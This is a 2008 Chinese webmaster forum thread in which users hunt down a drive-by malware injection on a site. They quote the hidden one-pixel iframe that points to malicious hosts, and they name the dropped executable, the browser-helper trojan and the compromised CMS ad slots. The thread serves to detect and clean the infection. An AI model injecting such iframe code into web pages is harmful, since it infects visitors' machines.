webmasterz.cn上的掛馬掛在哪了 我怎麼查了半天查不到？

請老大仔細的查查吧，剛又發現了幾個，全是免殺的~~一個勁的往外蹦，但是我的卡卡即不報~~
* |2 N' n2 `+ X) Bhttp://ppp.749571.com/dm/test.htm
http://www.985676.cn/encrypt/mm.htm
3 O/ o& e, P; A1 k這兩個是免殺的，還有幾個沒記下來，
這掛馬的兔崽子有一手，隱藏的很好啊~~一般人都看不出來~

會在C盤下產生 CRESS1.EXE
然後增加IE的BHO的木馬 還釋放驅動

昏 他藏得好隱秘  找到了 放毒得地方了
6 n4 u% w/ R- ?. G
iframe src=h t t p://w w w.9856 76.cn/encrypt/mm.htm width=1 height=1></iframe>
然後再這個地址轉到ppp.749571.co m/dm/test.htm
9 x0 Q2 [( I  j! ?) u為了跟蹤這個病毒 自己失誤的。。。。哎。修復中ing。。。。
靜水趕快清理了吧

原帖由 20082008 於 2008-1-9 16:33 發表
沒裝REAL就沒事，好在我重新裝的系統:

8 c' x0 I/ E" y7 ~" S& F! ?說的沒錯

原帖由 freelzyr 於 2008-1-10 16:47 發表
, l8 \) m6 V9 {% `2 [0 ?4 i進dede後台
檢查 ad_js.php?aid=1  
ad_js.php?aid=2
+ j2 Q$ Z2 @/ pad_js.php?aid=3
ad_js.php?aid=4
3 C& t# S, C& V
這幾個廣告 裡面的代碼
5 H4 @, ^- m  ~在這幾個 掉茅廁位 裡面   含有 木馬的 代碼

! R$ P$ n( c2 J1 Y) x( m6 P
這個檢查了沒有的

原帖由 靜水流深 於 2008-1-11 02:27 發表
4 j4 Q, i& l. e" M

1 [. v9 ^7 ~! u) Z這個檢查了沒有的

* G5 @% c2 ^) `/ P

/ K8 b' X2 e- L9 `8 q# |* M: I我看過了，有掛馬的代碼，代碼已經在你的另一個貼子裡貼出來了

原帖由 靜水流深 於 2008-1-11 02:27 發表

/ ^" ?* i: J6 S( Y0 p& o
這個檢查了沒有的

! T  p+ b9 P3 O- m* ~9 k' x木馬就是在這裡裡啊
- B3 W) O" O1 j9 k: s+ j3 E$ |在後台的掉茅廁位設置那
% k* P; T9 h  P5 m/ [8 k' `# ~' n/ V裡

現在明瞭.
有人收流量做ppp.749571.co m的..
最近被掛馬的話. 都改成js了. 不用iframe了

菜鳥,怕怕,不敢看,啥時好了說一聲,我再去看風景